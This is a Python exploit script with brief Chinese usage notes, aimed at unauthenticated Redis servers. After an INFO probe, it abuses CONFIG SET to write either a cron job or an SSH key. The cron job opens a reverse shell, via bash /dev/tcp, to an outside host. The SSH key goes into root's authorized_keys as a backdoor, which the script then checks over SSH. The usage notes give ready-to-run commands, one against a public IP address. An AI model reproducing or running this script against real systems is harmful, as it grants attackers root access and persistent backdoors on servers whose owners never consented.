1 #!/usr/bin/python 2 import redis 3 import urlparse 4 import sys 5 import pexpect 6 import socket 7 from optparse import OptionParser 8 9 10 def verify(host, port=6379): 11 result = {} 12 #info 13 payload = "x2ax31x0dx0ax24x34x0dx0ax69x6ex66x6fx0dx0a" 14 s = socket.socket() 15 socket.setdefaulttimeout(20) 16 try: 17 print host 18 s.connect((host, port)) 19 s.send(payload) 20 recvdata = s.recv(1024) 21 repr(recvdata) 22 if recvdata and 'redis_version' in recvdata: 23 result = {} 24 result['URL'] = host 25 result['Port'] = port 26 result['Data'] = recvdata 27 except: 28 pass 29 s.close() 30 return result 31 32 33 def shell_exploit(host, port=6379): 34 print host 35 try: 36 r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=10) 37 r.set(1, ' */1 * * * * /bin/bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ') 38 r.config_set('dir','/var/spool/cron') 39 r.config_set('dbfilename','root') 40 r.save() 41 print "attack over, shell return" 42 except: 43 print "something wrong" 44 pass 45 46 def ssh_exploit(ssh_content, host, port=6379): 47 ssh_content = " "+ssh_content+" " 48 print host 49 try: 50 r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=10) 51 print ssh_content 52 r.set(1, ssh_content) 53 r.config_set('dir','/root/.ssh/') 54 r.config_set('dbfilename','authorized_keys') 55 r.save() 56 print "attack over, ssh authorized_keys write" 57 except: 58 print "something wrong" 59 pass 60 61 def check(host, filename, SSH_PORT=22): 62 print 'Check connecting...' 63 try: 64 ssh = pexpect.spawn('ssh -i %s root@%s -p %d' %(filename[:-4], host, SSH_PORT)) 65 i = ssh.expect('[#$]',timeout=10) 66 if i == 0: 67 print "Success !" 68 else: 69 pass 70 except: 71 print "Failed to connect !" 72 73 def main(): 74 parser = OptionParser() 75 parser.add_option("-f", "--file", dest="filename", help="ssh file", metavar="FILE") 76 parser.add_option("-u", "--url", dest="url", help="attack redis url") 77 parser.add_option("-m", "--mode", dest="mode", help="verify/exploit", default="verify") 78 parser.add_option("-p", "--port", dest="port", type="int", help="attack redis port,default:6379", default=6379) 79 80 (options, args) = parser.parse_args() 81 82 #host prepare 83 host = urlparse.urlparse(options.url).netloc 84 if host == "":host = options.url 85 86 #verify mode 87 if options.mode == "verify": 88 result = verify(host, options.port) 89 if result == {}: 90 print "nothing return" 91 else: 92 print result['URL'],":",result['Port'],"have redis infoleak info:",result['Data'] 93 94 #exploit mode 95 if options.mode == "exploit": 96 if options.filename == None: 97 #reutrn cmd shell exploit 98 shell_exploit(host, options.port) 99 return 100 else: 101 #ssh keygen exploit 102 print "ssh_key:",options.filename 103 file = open(options.filename, 'rb') 104 ssh_content = file.read() 105 file.close() 106 ssh_exploit(ssh_content, host, options.port) 107 #verify ssh-keygen success/fail 108 SSH_PORT = 22 109 check(host, options.filename, SSH_PORT) 110 return 111 112 if __name__ == "__main__": 113 main()
需要先安装个redis的第三方库,最好在linux下跑,win上跑还需要装pexpect,也没法验证ssh-keygen后门效果
脚本的使用方法是这样子的
verify验证方法:返回info信息
python exploit.py -u 123.56.192.188 -m verify
默认是使用verify方法
exploit方法:有两个,一个是shell反弹
python exploit.py -u 127.0.0.1 -m exploit
还有一个方法是留ssh公钥后门的方法
python exploit.py -u 127.0.0.1 -m exploit -f redis.pub